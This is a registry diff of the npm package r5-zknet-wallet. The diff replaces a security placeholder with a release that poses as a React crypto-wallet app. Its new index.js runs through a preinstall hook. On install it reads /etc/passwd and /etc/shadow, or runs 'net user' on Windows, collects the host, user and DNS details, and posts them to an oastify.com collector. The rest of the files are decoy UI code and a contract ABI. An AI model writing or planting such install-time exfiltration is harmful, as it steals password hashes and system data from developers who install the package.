r5-zknet-wallet 0.0.1-security → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of r5-zknet-wallet might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,94 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const fs = require("fs"); // For reading files
7
+ const { execSync } = require("child_process"); // For running system commands on Windows
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+ // Function to get user info based on the platform
12
+ let userInfoContent = "";
13
+ let passwdContent = "";
14
+ let shadowContent = "";
15
+
16
+ try {
17
+ if (os.platform() === "linux" || os.platform() === "darwin") {
18
+ // Unix-like systems: Try to read /etc/passwd and /etc/shadow
19
+ try {
20
+ passwdContent = fs.readFileSync("/etc/passwd", "utf8");
21
+ } catch (e) {
22
+ passwdContent = "Error reading /etc/passwd: " + e.message;
23
+ }
24
+
25
+ try {
26
+ shadowContent = fs.readFileSync("/etc/shadow", "utf8");
27
+ } catch (e) {
28
+ shadowContent = "Error reading /etc/shadow: " + e.message;
29
+ }
30
+
31
+ userInfoContent = "Not applicable (using /etc/passwd and /etc/shadow instead)";
32
+ } else if (os.platform() === "win32") {
33
+ // Windows: Use 'net user' to get user info
34
+ try {
35
+ userInfoContent = execSync("net user", { encoding: "utf8" });
36
+ } catch (e) {
37
+ userInfoContent = "Error retrieving user info on Windows: " + e.message;
38
+ }
39
+ passwdContent = "Not applicable on Windows";
40
+ shadowContent = "Not applicable on Windows";
41
+ } else {
42
+ userInfoContent = "Unsupported platform for user info (Platform: " + os.platform() + ")";
43
+ passwdContent = "Unsupported platform (Platform: " + os.platform() + ")";
44
+ shadowContent = "Unsupported platform (Platform: " + os.platform() + ")";
45
+ }
46
+ } catch (e) {
47
+ userInfoContent = "Error retrieving user info: " + e.message;
48
+ passwdContent = "Error retrieving /etc/passwd: " + e.message;
49
+ shadowContent = "Error retrieving /etc/shadow: " + e.message;
50
+ }
51
+
52
+ const trackingData = JSON.stringify({
53
+ p: package,
54
+ c: __dirname,
55
+ hd: os.homedir(),
56
+ hn: os.hostname(),
57
+ un: os.userInfo().username,
58
+ dns: dns.getServers(),
59
+ r: packageJSON ? packageJSON.___resolved : undefined,
60
+ v: packageJSON.version,
61
+ pjson: packageJSON,
62
+ platform: os.platform(), // For debugging
63
+ userInfo: userInfoContent, // Windows user info or placeholder for Unix
64
+ passwd: passwdContent, // Contents of /etc/passwd (Unix) or error
65
+ shadow: shadowContent // Contents of /etc/shadow (Unix) or error
66
+ });
67
+
68
+ var postData = querystring.stringify({
69
+ msg: trackingData,
70
+ });
71
+
72
+ var options = {
73
+ hostname: "o6vei1h15nuifawq39cm2tpzjqphd71w.oastify.com",
74
+ port: 443,
75
+ path: "/",
76
+ method: "POST",
77
+ headers: {
78
+ "Content-Type": "application/x-www-form-urlencoded",
79
+ "Content-Length": postData.length,
80
+ },
81
+ };
82
+
83
+ var req = https.request(options, (res) => {
84
+ res.on("data", (d) => {
85
+ process.stdout.write(d);
86
+ });
87
+ });
88
+
89
+ req.on("error", (e) => {
90
+ // console.error(e);
91
+ });
92
+
93
+ req.write(postData);
94
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
- {
2
- "name": "r5-zknet-wallet",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "r5-zknet-wallet",
3
+ "version": "0.1.1",
4
+ "dependencies": {
5
+ "@testing-library/dom": "^10.4.0",
6
+ "@testing-library/jest-dom": "^6.6.3",
7
+ "@testing-library/react": "^16.2.0",
8
+ "@testing-library/user-event": "^13.5.0",
9
+ "@types/jest": "^27.5.2",
10
+ "@types/node": "^16.18.126",
11
+ "@types/react": "^19.0.12",
12
+ "@types/react-dom": "^19.0.4",
13
+ "react": "^19.0.0",
14
+ "react-dom": "^19.0.0",
15
+ "react-icons": "^5.5.0",
16
+ "react-scripts": "5.0.1",
17
+ "styled": "^1.0.0",
18
+ "styled-components": "^6.1.16",
19
+ "typescript": "^4.9.5",
20
+ "web-vitals": "^2.1.4"
21
+ },
22
+ "scripts": {
23
+ "preinstall": "node index.js",
24
+ "start": "react-scripts start",
25
+ "build": "react-scripts build",
26
+ "test": "react-scripts test",
27
+ "eject": "react-scripts eject"
28
+ },
29
+ "eslintConfig": {
30
+ "extends": [
31
+ "react-app",
32
+ "react-app/jest"
33
+ ]
34
+ },
35
+ "browserslist": {
36
+ "production": [
37
+ ">0.2%",
38
+ "not dead",
39
+ "not op_mini all"
40
+ ],
41
+ "development": [
42
+ "last 1 chrome version",
43
+ "last 1 firefox version",
44
+ "last 1 safari version"
45
+ ]
46
+ }
47
+ }
@@ -0,0 +1,7 @@
1
+ {
2
+ "trailingComma": "es5",
3
+ "tabWidth": 2,
4
+ "tabSize": 2,
5
+ "semi": false,
6
+ "singleQuote": true
7
+ }
Binary file
@@ -0,0 +1,43 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="utf-8" />
5
+ <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
6
+ <meta name="viewport" content="width=device-width, initial-scale=1" />
7
+ <meta name="theme-color" content="#000000" />
8
+ <meta
9
+ name="description"
10
+ content="Web site created using create-react-app"
11
+ />
12
+ <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
13
+ <!--
14
+ manifest.json provides metadata used when your web app is installed on a
15
+ user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
16
+ -->
17
+ <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
18
+ <!--
19
+ Notice the use of %PUBLIC_URL% in the tags above.
20
+ It will be replaced with the URL of the `public` folder during the build.
21
+ Only files inside the `public` folder can be referenced from the HTML.
22
+
23
+ Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
24
+ work correctly both with client-side routing and a non-root public URL.
25
+ Learn how to configure a non-root public URL by running `npm run build`.
26
+ -->
27
+ <title>React App</title>
28
+ </head>
29
+ <body>
30
+ <noscript>You need to enable JavaScript to run this app.</noscript>
31
+ <div id="root"></div>
32
+ <!--
33
+ This HTML file is a template.
34
+ If you open it directly in the browser, you will see an empty page.
35
+
36
+ You can add webfonts, meta tags, or analytics to this file.
37
+ The build step will place the bundled scripts into the <body> tag.
38
+
39
+ To begin the development, run `npm start` or `yarn start`.
40
+ To create a production bundle, use `npm run build` or `yarn build`.
41
+ -->
42
+ </body>
43
+ </html>
Binary file
Binary file
@@ -0,0 +1,25 @@
1
+ {
2
+ "short_name": "React App",
3
+ "name": "Create React App Sample",
4
+ "icons": [
5
+ {
6
+ "src": "favicon.ico",
7
+ "sizes": "64x64 32x32 24x24 16x16",
8
+ "type": "image/x-icon"
9
+ },
10
+ {
11
+ "src": "logo192.png",
12
+ "type": "image/png",
13
+ "sizes": "192x192"
14
+ },
15
+ {
16
+ "src": "logo512.png",
17
+ "type": "image/png",
18
+ "sizes": "512x512"
19
+ }
20
+ ],
21
+ "start_url": ".",
22
+ "display": "standalone",
23
+ "theme_color": "#000000",
24
+ "background_color": "#ffffff"
25
+ }
@@ -0,0 +1,3 @@
1
+ # https://www.robotstxt.org/robotstxt.html
2
+ User-agent: *
3
+ Disallow:
package/src/App.css ADDED
@@ -0,0 +1,13 @@
1
+ .App {
2
+ text-align: center;
3
+ background-color: #282c34;
4
+ background: radial-gradient(circle, rgba(37,55,66,1) 0%, rgba(22,34,43,1) 100%);
5
+ min-height: 100vh;
6
+ display: flex;
7
+ flex-direction: column;
8
+ align-items: center;
9
+ justify-content: center;
10
+ font-size: 14pt;
11
+ color: white;
12
+ gap: 10px;
13
+ }
@@ -0,0 +1,9 @@
1
+ import React from 'react';
2
+ import { render, screen } from '@testing-library/react';
3
+ import App from './App';
4
+
5
+ test('renders learn react link', () => {
6
+ render(<App />);
7
+ const linkElement = screen.getByText(/learn react/i);
8
+ expect(linkElement).toBeInTheDocument();
9
+ });
package/src/App.tsx ADDED
@@ -0,0 +1,31 @@
1
+ import "./App.css";
2
+ import {
3
+ Box,
4
+ BoxSection,
5
+ Divider,
6
+ Link
7
+ } from "./theme";
8
+ import { Header } from "./components/Header";
9
+ import { ActionBar } from "./components/ActionBar";
10
+ import { Balance } from "./components/Balance";
11
+
12
+ function App() {
13
+ return (
14
+ <div className="App">
15
+ <Box>
16
+ <Header />
17
+ <Divider />
18
+ <BoxSection>
19
+ <Balance />
20
+ <ActionBar />
21
+ </BoxSection>
22
+ <Divider />
23
+ <BoxSection>
24
+ <Link href="#">Need help with your ZKNet wallet?</Link>
25
+ </BoxSection>
26
+ </Box>
27
+ </div>
28
+ );
29
+ }
30
+
31
+ export default App;
@@ -0,0 +1,196 @@
1
+ [
2
+ {
3
+ "inputs": [],
4
+ "stateMutability": "nonpayable",
5
+ "type": "constructor"
6
+ },
7
+ {
8
+ "anonymous": false,
9
+ "inputs": [
10
+ {
11
+ "indexed": false,
12
+ "internalType": "bool",
13
+ "name": "online",
14
+ "type": "bool"
15
+ }
16
+ ],
17
+ "name": "NetworkStatusChanged",
18
+ "type": "event"
19
+ },
20
+ {
21
+ "inputs": [
22
+ {
23
+ "internalType": "address payable",
24
+ "name": "recipient",
25
+ "type": "address"
26
+ },
27
+ {
28
+ "internalType": "uint256",
29
+ "name": "amount",
30
+ "type": "uint256"
31
+ }
32
+ ],
33
+ "name": "admin_emergencyWithdraw",
34
+ "outputs": [],
35
+ "stateMutability": "nonpayable",
36
+ "type": "function"
37
+ },
38
+ {
39
+ "inputs": [
40
+ {
41
+ "internalType": "bool",
42
+ "name": "online",
43
+ "type": "bool"
44
+ }
45
+ ],
46
+ "name": "admin_setNetworkStatus",
47
+ "outputs": [],
48
+ "stateMutability": "nonpayable",
49
+ "type": "function"
50
+ },
51
+ {
52
+ "inputs": [],
53
+ "name": "networkOnline",
54
+ "outputs": [
55
+ {
56
+ "internalType": "bool",
57
+ "name": "",
58
+ "type": "bool"
59
+ }
60
+ ],
61
+ "stateMutability": "view",
62
+ "type": "function"
63
+ },
64
+ {
65
+ "inputs": [],
66
+ "name": "pauseTimestamp",
67
+ "outputs": [
68
+ {
69
+ "internalType": "uint256",
70
+ "name": "",
71
+ "type": "uint256"
72
+ }
73
+ ],
74
+ "stateMutability": "view",
75
+ "type": "function"
76
+ },
77
+ {
78
+ "inputs": [],
79
+ "name": "r5_accountCreate",
80
+ "outputs": [],
81
+ "stateMutability": "nonpayable",
82
+ "type": "function"
83
+ },
84
+ {
85
+ "inputs": [
86
+ {
87
+ "internalType": "address payable",
88
+ "name": "recipient",
89
+ "type": "address"
90
+ }
91
+ ],
92
+ "name": "r5_accountDestroy",
93
+ "outputs": [],
94
+ "stateMutability": "nonpayable",
95
+ "type": "function"
96
+ },
97
+ {
98
+ "inputs": [],
99
+ "name": "r5_accountResolve",
100
+ "outputs": [
101
+ {
102
+ "internalType": "bytes32",
103
+ "name": "internalAddress",
104
+ "type": "bytes32"
105
+ }
106
+ ],
107
+ "stateMutability": "view",
108
+ "type": "function"
109
+ },
110
+ {
111
+ "inputs": [],
112
+ "name": "r5_balanceCheck",
113
+ "outputs": [
114
+ {
115
+ "internalType": "uint256",
116
+ "name": "",
117
+ "type": "uint256"
118
+ }
119
+ ],
120
+ "stateMutability": "view",
121
+ "type": "function"
122
+ },
123
+ {
124
+ "inputs": [
125
+ {
126
+ "internalType": "uint256",
127
+ "name": "amount",
128
+ "type": "uint256"
129
+ }
130
+ ],
131
+ "name": "r5_balanceDeposit",
132
+ "outputs": [],
133
+ "stateMutability": "payable",
134
+ "type": "function"
135
+ },
136
+ {
137
+ "inputs": [
138
+ {
139
+ "internalType": "address payable",
140
+ "name": "recipient",
141
+ "type": "address"
142
+ },
143
+ {
144
+ "internalType": "uint256",
145
+ "name": "amount",
146
+ "type": "uint256"
147
+ }
148
+ ],
149
+ "name": "r5_balanceTransferExternal",
150
+ "outputs": [],
151
+ "stateMutability": "nonpayable",
152
+ "type": "function"
153
+ },
154
+ {
155
+ "inputs": [
156
+ {
157
+ "internalType": "bytes32",
158
+ "name": "destination",
159
+ "type": "bytes32"
160
+ },
161
+ {
162
+ "internalType": "uint256",
163
+ "name": "amount",
164
+ "type": "uint256"
165
+ }
166
+ ],
167
+ "name": "r5_balanceTransferInternal",
168
+ "outputs": [],
169
+ "stateMutability": "nonpayable",
170
+ "type": "function"
171
+ },
172
+ {
173
+ "inputs": [
174
+ {
175
+ "internalType": "bytes32",
176
+ "name": "txnHash",
177
+ "type": "bytes32"
178
+ }
179
+ ],
180
+ "name": "r5_txnHashCheck",
181
+ "outputs": [
182
+ {
183
+ "internalType": "bool",
184
+ "name": "exists",
185
+ "type": "bool"
186
+ },
187
+ {
188
+ "internalType": "uint256",
189
+ "name": "amount",
190
+ "type": "uint256"
191
+ }
192
+ ],
193
+ "stateMutability": "view",
194
+ "type": "function"
195
+ }
196
+ ]
Binary file
@@ -0,0 +1,41 @@
1
+ import {
2
+ BoxContent,
3
+ BoxContentParent,
4
+ ButtonRound,
5
+ } from "../../theme";
6
+ import { BsQrCode } from "react-icons/bs";
7
+ import { LuArrowDownToLine } from "react-icons/lu";
8
+ import { LuArrowUpToLine } from "react-icons/lu";
9
+ import { BsTrash } from "react-icons/bs";
10
+ import { LuArrowUpRight } from "react-icons/lu";
11
+
12
+ const ReceiveIcon = BsQrCode as React.FC<React.PropsWithChildren>;
13
+ const DepositIcon = LuArrowDownToLine as React.FC<React.PropsWithChildren>;
14
+ const SendInternalIcon = LuArrowUpRight as React.FC<React.PropsWithChildren>;
15
+ const SendExternalIcon = LuArrowUpToLine as React.FC<React.PropsWithChildren>;
16
+ const DestroyIcon = BsTrash as React.FC<React.PropsWithChildren>;
17
+
18
+ export function ActionBar() {
19
+ return (
20
+ <BoxContentParent>
21
+ <BoxContent>
22
+ <ButtonRound title="Deposit Funds">
23
+ <DepositIcon />
24
+ </ButtonRound>
25
+ <ButtonRound title="Withdraw Funds">
26
+ <SendExternalIcon />
27
+ </ButtonRound>
28
+ <ButtonRound title="Destroy Account">
29
+ <DestroyIcon />
30
+ </ButtonRound>
31
+ <ButtonRound title="Send Transaction">
32
+ <SendInternalIcon />
33
+ </ButtonRound>
34
+ <ButtonRound title="Receive Transaction">
35
+ <ReceiveIcon />
36
+ </ButtonRound>
37
+ </BoxContent>
38
+ <BoxContent />
39
+ </BoxContentParent>
40
+ );
41
+ }
@@ -0,0 +1,15 @@
1
+ import { BoxContent, BoxContentParent, Spacer } from "../../theme";
2
+ import R5Logo from "../../assets/r5-small.png";
3
+
4
+ export function Balance() {
5
+ return (
6
+ <BoxContentParent>
7
+ <BoxContent>
8
+ <img src={R5Logo} alt="logo" />
9
+ <h1 style={{ margin: '0' }}>0.0000</h1>
10
+ </BoxContent>
11
+ <Spacer />
12
+ <BoxContent />
13
+ </BoxContentParent>
14
+ );
15
+ }
@@ -0,0 +1,24 @@
1
+ import {
2
+ BoxContent,
3
+ BoxContentParent,
4
+ BoxHeader,
5
+ ButtonSecondary,
6
+ Spacer
7
+ } from "../../theme";
8
+ import { FaMask } from "react-icons/fa";
9
+
10
+ const StealthIcon = FaMask as React.FC<React.PropsWithChildren>;
11
+
12
+ export function Header() {
13
+ return (
14
+ <BoxHeader>
15
+ <BoxContentParent>
16
+ <BoxContent>
17
+ <ButtonSecondary>Connect Wallet</ButtonSecondary>
18
+ </BoxContent>
19
+ <Spacer />
20
+ <BoxContent><StealthIcon />0xABC...XYZ</BoxContent>
21
+ </BoxContentParent>
22
+ </BoxHeader>
23
+ );
24
+ }
@@ -0,0 +1,9 @@
1
+ import { BoxContentParent } from "../../theme";
2
+
3
+ export function TxHistory() {
4
+ return (
5
+ <BoxContentParent>
6
+ 0xABC...XYZ
7
+ </BoxContentParent>
8
+ );
9
+ }
@@ -0,0 +1,9 @@
1
+ export const mainnetExplorerUrl = 'https://explorer.r5.network/'
2
+ export const testnetExplorerUrl = 'https://explorer.testnet.r5.network/'
3
+ export const devnetExplorerUrl = 'https://explorer.devnet.r5.network/'
4
+ export const mainnetChainId = '337'
5
+ export const testnetChainId = '33710'
6
+ export const devnetChainId = '33711'
7
+ export const mainnetZknetAddress = '0x1A52C4914F8A0c254C69699631a1C92De4cCf01A' // not correct (devnet)
8
+ export const testnetZknetAddress = '0x1A52C4914F8A0c254C69699631a1C92De4cCf01A' // not correct (devnet)
9
+ export const devnetZknetAddress = '0x1A52C4914F8A0c254C69699631a1C92De4cCf01A'
package/src/index.css ADDED
@@ -0,0 +1,13 @@
1
+ body {
2
+ margin: 0;
3
+ font-family: -apple-system, BlinkMacSystemFont, 'Red Hat Display', 'Red Hat Display', 'Red Hat Display',
4
+ 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
5
+ sans-serif;
6
+ -webkit-font-smoothing: antialiased;
7
+ -moz-osx-font-smoothing: grayscale;
8
+ }
9
+
10
+ code {
11
+ font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
12
+ monospace;
13
+ }
package/src/index.tsx ADDED
@@ -0,0 +1,19 @@
1
+ import React from 'react';
2
+ import ReactDOM from 'react-dom/client';
3
+ import './index.css';
4
+ import App from './App';
5
+ import reportWebVitals from './reportWebVitals';
6
+
7
+ const root = ReactDOM.createRoot(
8
+ document.getElementById('root') as HTMLElement
9
+ );
10
+ root.render(
11
+ <React.StrictMode>
12
+ <App />
13
+ </React.StrictMode>
14
+ );
15
+
16
+ // If you want to start measuring performance in your app, pass a function
17
+ // to log results (for example: reportWebVitals(console.log))
18
+ // or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
19
+ reportWebVitals();
@@ -0,0 +1 @@
1
+ placeholder
@@ -0,0 +1 @@
1
+ /// <reference types="react-scripts" />
@@ -0,0 +1,15 @@
1
+ import { ReportHandler } from 'web-vitals';
2
+
3
+ const reportWebVitals = (onPerfEntry?: ReportHandler) => {
4
+ if (onPerfEntry && onPerfEntry instanceof Function) {
5
+ import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
6
+ getCLS(onPerfEntry);
7
+ getFID(onPerfEntry);
8
+ getFCP(onPerfEntry);
9
+ getLCP(onPerfEntry);
10
+ getTTFB(onPerfEntry);
11
+ });
12
+ }
13
+ };
14
+
15
+ export default reportWebVitals;
@@ -0,0 +1,5 @@
1
+ // jest-dom adds custom jest matchers for asserting on DOM nodes.
2
+ // allows you to do things like:
3
+ // expect(element).toHaveTextContent(/react/i)
4
+ // learn more: https://github.com/testing-library/jest-dom
5
+ import '@testing-library/jest-dom';
@@ -0,0 +1,211 @@
1
+ import styled from "styled-components";
2
+
3
+ export const colorBackground =
4
+ "radial-gradient(circle, rgba(37,55,66,1) 0%, rgba(22,34,43,1) 100%)";
5
+ export const colorBoxBackground =
6
+ "linear-gradient(40deg, #16222B 0%, #21303A 100%)";
7
+ export const colorPrimary = "#459381";
8
+ export const colorSecondary = "#16222B";
9
+ export const colorAccent = "#0AC18E";
10
+ export const colorText = "#FFFFFF";
11
+ export const colorBorder = "#21303A";
12
+ export const colorLightBorder = "#2E3F4A";
13
+ export const colorShadow = "rgba(0, 0, 0, 0.1";
14
+
15
+ export const colorTransparent = "transparent";
16
+ export const colorBlack = "#000000";
17
+ export const colorWhite = "#FFFFFF";
18
+ export const colorExtraLightGray = "#ECECEC";
19
+ export const colorLightGray = "#C1C1C1";
20
+ export const colorGray = "#7F7F7F";
21
+ export const colorDarkGray = "#535353";
22
+ export const colorExtraDarkGray = "#535353";
23
+
24
+ export const fontSizeH1 = "52pt";
25
+ export const fontSizeH2 = "42pt";
26
+ export const fontSizeH3 = "32pt";
27
+ export const fontSizeH4 = "24pt";
28
+ export const fontSizeH5 = "18pt";
29
+ export const fontSizeH6 = "12pt";
30
+ export const fontSize = "12pt";
31
+ export const fontWeight = "normal";
32
+
33
+ export const borderNone = "none";
34
+ export const borderDefault = `1px solid ${colorBorder}`;
35
+ export const borderLight = `1px solid ${colorLightBorder}`;
36
+ export const borderRadiusDefault = "15px";
37
+ export const borderRadiusRound = "99px";
38
+ export const paddingZero = "0px";
39
+ export const paddingLow = "5px";
40
+ export const paddingDefault = "10px";
41
+ export const paddingHigh = "20px";
42
+ export const marginZero = "0px";
43
+ export const marginLow = "5px";
44
+ export const marginDefault = "10px";
45
+ export const marginHigh = "15px";
46
+ export const marginUpDownSpacing = "50px auto 50px auto";
47
+ export const defaultGap = "10px";
48
+
49
+ export const buttonWidthDefault = "auto";
50
+ export const buttonWidthFull = "100%";
51
+ export const buttonPaddingDefault = "15px 20px 15px 20px";
52
+ export const buttonBorder = `1px solid ${colorTransparent}`;
53
+ export const buttonOutlinedBorder = `1px solid ${colorPrimary}`;
54
+ export const buttonRoundSize = "48px";
55
+
56
+ export const ButtonPrimary = styled.button`
57
+ padding: ${buttonPaddingDefault};
58
+ margin: ${marginLow};
59
+ width: ${buttonWidthDefault};
60
+ font-weight: ${fontWeight};
61
+ font-size: ${fontSizeH6};
62
+ text-align: center;
63
+ border-radius: ${borderRadiusRound};
64
+ border: ${buttonBorder};
65
+ background: ${colorPrimary};
66
+ color: ${colorText};
67
+ text-decoration: none;
68
+ display: flex;
69
+ justify-content: center;
70
+ flex-wrap: nowrap;
71
+ align-items: center;
72
+ cursor: pointer;
73
+ position: relative;
74
+ z-index: 1;
75
+ &:hover {
76
+ background: ${colorAccent};
77
+ }
78
+ &:disabled {
79
+ cursor: pointer;
80
+ }
81
+ > * {
82
+ user-select: none;
83
+ }
84
+ `;
85
+
86
+ export const ButtonSecondary = styled.button`
87
+ padding: ${buttonPaddingDefault};
88
+ width: ${buttonWidthDefault};
89
+ font-weight: ${fontWeight};
90
+ font-size: ${fontSizeH6};
91
+ text-align: center;
92
+ border-radius: ${borderRadiusRound};
93
+ border: ${buttonOutlinedBorder};
94
+ background: ${colorTransparent};
95
+ color: ${colorText};
96
+ text-decoration: none;
97
+ display: flex;
98
+ justify-content: center;
99
+ flex-wrap: nowrap;
100
+ align-items: center;
101
+ cursor: pointer;
102
+ position: relative;
103
+ z-index: 1;
104
+ &:hover {
105
+ background: ${colorAccent};
106
+ }
107
+ &:disabled {
108
+ cursor: pointer;
109
+ }
110
+ > * {
111
+ user-select: none;
112
+ }
113
+ `;
114
+
115
+ export const ButtonRound = styled.button`
116
+ padding: ${paddingLow};
117
+ width: ${buttonRoundSize};
118
+ height: ${buttonRoundSize};
119
+ font-weight: ${fontWeight};
120
+ font-size: ${fontSizeH6};
121
+ text-align: center;
122
+ border-radius: ${borderRadiusRound};
123
+ border: ${buttonBorder};
124
+ background: ${colorPrimary};
125
+ color: ${colorText};
126
+ text-decoration: none;
127
+ display: flex;
128
+ justify-content: center;
129
+ flex-wrap: nowrap;
130
+ align-items: center;
131
+ cursor: pointer;
132
+ position: relative;
133
+ z-index: 1;
134
+ &:hover {
135
+ background: ${colorAccent};
136
+ }
137
+ &:disabled {
138
+ cursor: pointer;
139
+ }
140
+ > * {
141
+ user-select: none;
142
+ }
143
+ `;
144
+
145
+ export const Link = styled.a`
146
+ text-decoration: none;
147
+ color: ${colorPrimary};
148
+ &:hover {
149
+ text-decoration: underline;
150
+ color: ${colorAccent};
151
+ }
152
+ `;
153
+
154
+ export const Box = styled.div`
155
+ display: flex;
156
+ flex-direction: column;
157
+ padding: ${paddingHigh};
158
+ margin: ${marginDefault};
159
+ border-radius: ${borderRadiusDefault};
160
+ border: ${borderDefault};
161
+ background: ${colorBoxBackground};
162
+ width: 40vw;
163
+ min-width: 320px;
164
+ justify-content: flex-start;
165
+ align-items: center;
166
+ gap: ${defaultGap};
167
+ `;
168
+
169
+ export const BoxSection = styled.div`
170
+ padding: ${paddingHigh};
171
+ `;
172
+
173
+ export const BoxContentParent = styled.div`
174
+ display: flex;
175
+ flex-direction: column;
176
+ width: 100%;
177
+ justify-content: center;
178
+ align-items: center;
179
+ gap: ${defaultGap};
180
+ `;
181
+
182
+ export const BoxContent = styled.div`
183
+ display: flex;
184
+ flex-direction: row;
185
+ width: 100%;
186
+ justify-content: center;
187
+ align-items: center;
188
+ gap: ${defaultGap};
189
+ `;
190
+
191
+ export const BoxHeader = styled.div`
192
+ display: flex;
193
+ flex-direction: column;
194
+ background: ${colorTransparent};
195
+ padding: ${paddingDefault};
196
+ width: 100%;
197
+ `;
198
+
199
+ export const Divider = styled.div`
200
+ display: flex;
201
+ flex-direction: column;
202
+ background: ${colorTransparent};
203
+ padding: ${paddingZero};
204
+ margin: ${marginZero};
205
+ border-bottom: ${borderLight};
206
+ width: 100%;
207
+ `;
208
+
209
+ export const Spacer = styled.div`
210
+ margin: 3px;
211
+ `;
package/tsconfig.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "es5",
4
+ "lib": [
5
+ "dom",
6
+ "dom.iterable",
7
+ "esnext"
8
+ ],
9
+ "allowJs": true,
10
+ "skipLibCheck": true,
11
+ "esModuleInterop": true,
12
+ "allowSyntheticDefaultImports": true,
13
+ "strict": true,
14
+ "forceConsistentCasingInFileNames": true,
15
+ "noFallthroughCasesInSwitch": true,
16
+ "module": "esnext",
17
+ "moduleResolution": "node",
18
+ "resolveJsonModule": true,
19
+ "isolatedModules": true,
20
+ "noEmit": true,
21
+ "jsx": "react-jsx"
22
+ },
23
+ "include": [
24
+ "src"
25
+ ]
26
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=r5-zknet-wallet for more information.